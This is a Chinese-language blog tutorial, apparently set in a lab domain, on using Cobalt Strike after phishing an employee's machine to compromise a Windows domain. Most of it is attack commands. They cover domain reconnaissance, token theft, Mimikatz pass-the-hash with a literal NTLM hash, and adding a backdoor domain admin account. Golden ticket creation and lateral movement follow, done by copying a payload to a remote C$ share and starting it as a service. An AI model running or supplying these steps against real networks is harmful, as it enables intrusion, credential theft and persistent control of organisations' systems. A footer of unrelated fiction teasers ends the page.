攻防基础工具系列 Post Exploitation工具 Cobalt Strike

本篇文章将介绍Cobalt Strike的基础用法,这里面会给出一个完整的例子,来讲解如何使用Cobalt Strike完成一次完整的内网渗透

前置条件

假设我们通过钓鱼邮件,控制了域内一台普通员工机器。接下来,我们如何进行横向移动呢?


image-20200131150530973.png

进入命令行

image-20200131151142788.png

点击interact,进入命令行界面

image-20200131151252691.png

信息收集

对于我们而言,需要

  1. 获取单台机器的Administrator权限,这样才能在这台机器上做更多的事情
  2. 获取域的Domain Admin权限,这样才能在域内为所欲为

故我们先要获取当前的信息

run systeminfo        查看当前系统信息
help net              查看net相关命令
net computers         查看域内所有电脑
net share             查看共享
shell whoami /all     查看当前用户
run net view /DOMAIN  查看当前域
run wmic computersystem get domain 查看当前域
run c:\windows\sysnative\nltest /dcList:mogong.org 获取域控服务器
run net group "Domain Controllers" /DOMAIN 获取域控服务器
run net group "Domain Computers" /DOMAIN  获得域所有电脑

以上操作也可以通过powershell来进行

powershell-import C:\Users\xxxxxx\Downloads\PowerSploit-master\Recon\PowerView.ps1       导入powershell库
powershell Get-NetDomain         获取当前domain信息
powershell Get-NetDomainController 获取domain controller信息
powershell Get-NetComputer       获取当前域内所有电脑
run nslookup WIN-Exchange.mogong.org      Netbios转IP
run ping -n 1 WIN2012DBServer.mogong.org  Netbios转IP
image-20200131152028843.png

权限提升

Access Token 该token中保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token

获取身份信息 (Account Discovery)

ls \\WIN7-2019OAEDZP\C$           判断当前是否为Local Administrator用户
run net localgroup "administrators" /DOMAIN  
run net group "domain admins" /DOMAIN
run net group "enterprise admins" /DOMAIN  获取域管账户名
powershell Find-LocalAdminAccess  获得当前账户在哪些机器上有权限(注意 这个需要先powershell-import,参见前面)

Token (Token窃取)

很多时候,如果我们利用漏洞打的某个系统,执行的权限很可能是本地用户权限。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。

ps                      先执行ps查看当前进程,有哪些进程是其他用户身份
steal_token [pid]       对该进程执行steal_token操作
getuid                  查看当前自己的身份
rev2self                清除Token

Password

可以直接使用该Password进行登录操作,我们一般通过Mimikatz可以获得一批明文的用户名 密码,然后用该明文用户名 密码来进行登录。

或者获得密码Hash后进行破解,然后使用该用户名密码登录。

又或者通过泄露的github或者其他明文数据库获得进行登录。

Password Hash (Pass The Hash)

Pass The Hash需要操作lsass.exe进程,故要执行该操作,需要在高权限情况下。具备Administrator/System权限。

Ticket (Pass The Key )

通过krbtgt账户制作Golden Ticket

两个提权例子

前置条件

无论是PassTheHash 还是Golden Ticket,在执行之前都需要获取password hash。PassTheHash需要的是用来PassTheHash的账户的password hash,而Golden Ticket需要的是krbtgt账户的password hash。

通常有两种方法来获得password hash

  1. dump hash,无论是通过mimikatz还是hashdump的其他工具
  2. dcsync , 可通过dcsync获得任意账户hash

dump hash前需要是system/administrator权限。故可以寻找自己当前账户到底在哪台机器上是administrator,然后访问该机器,在该机器上进行dump。


image-20200131184916002.png

Pass The Hash

Pass The Hash建议使用mimikatz进行。同时要注意,在微软打过补丁的机器上,只能对RID为500的Administrator账户进行Pass The Hash。

  1. 使用mimikatz 进行Pass the Hash
mimikatz sekurlsa::pth /user:Administrator /domain:mogong.org /ntlm:fae586ada95966ab3bfe8d3f6e00b5ac /run:"powershell -w hidden"
image-20200131190353119.png
  1. 对生成的进程执行Token窃取
steal_token 23556  (pid为mimikatz执行完后的pid,参见上图)
  1. 查看当前的权限
    由于我们这里Pass The Hash使用的是域管理员的账户,我们可以试下当前的权限
run net user wangerxiao wangerxi@1234 /add /domain   在域内添加账户
run net group "Domain Admins" wangerxiao /add /domain  添加为管理员
image-20200131193851743.png

Golden Ticket

Golden Ticket需要以下三个前置条件:

  1. krbtgt账户的password hash,通过dcsync或者hashdump获得
  1. 当前账户的SID。

    run whoami /all
    

    这里注意,去掉最后一个横杆分割的位置,才是正确的SID,下图的SID是:S-1-5-21-1607583168-1955814511-974716307


    whoami.JPG
  2. 域全名:mogong.org

创建过程如下图:


image-20200131195020028.png
image-20200131194933025.png

查看生成的ticket和权限:

run c:/windows/sysnative/klist    查看缓存的ticket
ls \\WIN-FRC25LFIC8A\C$           查看域控的C盘

横向移动

获得内网开放端口服务

portscan 192.168.3.0-192.168.3.255 1-1024,3389,5000-6000 arp 1024

image-20200131175544443.png
image-20200131175753128.png
image-20200131175903893.png

横向移动

按以上提权的方式,我们在某台机器上通过Golden Ticket或者Pass the Hash成为了域管理员。

此刻我们想控制域内的其他机器。

上传文件

  1. 在具有管理员权限的机器上,进入一个可上传的目录,这里使用Public Music目录

    cd C:\Users\Public\Music
    
  2. 上传生成的木马

    upload
    
  3. 从该目录拷贝到远程可访问机器的可写目录

shell copy artifact.exe \\WIN2012DBSERVER\C$\Users\Public\Music

远程执行

这里使用远程服务的方式执行

shell sc \\WIN2012DBSERVER create foobar binPath= "c:\Users\Public\Music\artifact.exe"     创建服务(这里binPath=后面要留一个空格,否则没法正常创建服务)

shell sc \\WIN2012DBSERVER start foobar  启动服务

成功上线

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容